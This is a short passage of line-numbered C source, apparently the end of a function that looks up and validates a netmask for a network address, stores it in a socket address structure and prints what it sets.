  915.         strcpy( key, inet_ntoa(net));
  916.         out = getmaskbyaddr(key);
  917.         if (out == NULL) {
  918.             saddr->sin_addr.s_addr = INADDR_ANY;
  919.             return(0);
  920.         }
  921.     }
  922.     val = (int)inet_addr(out);
  923.     if (val == -1) {
  924.         printf("Invalid netmask for %s: %s\n", key, out);
  925.         return(0);
  926.     }
  927.     saddr->sin_family = AF_INET;
  928.     saddr->sin_addr.s_addr = val;
  929.     printf("Setting netmask of %s to %s\n", name,
  930.                 inet_ntoa(saddr->sin_addr) );
  931.     return(1);
  932. }
  933.